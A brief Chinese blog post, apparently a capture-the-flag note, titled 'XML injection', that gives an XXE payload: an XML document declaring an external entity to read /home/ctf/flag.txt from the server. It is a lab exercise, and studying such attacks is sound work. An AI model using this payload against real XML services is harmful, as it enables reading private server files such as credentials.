xml注入

xml读取/home/ctf/flag.txt文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">  ]>
<tq>&xxe;</tq>
posted @ 2021-06-06 09:04  MuRKuo  阅读(185)  评论(0)  编辑  收藏  举报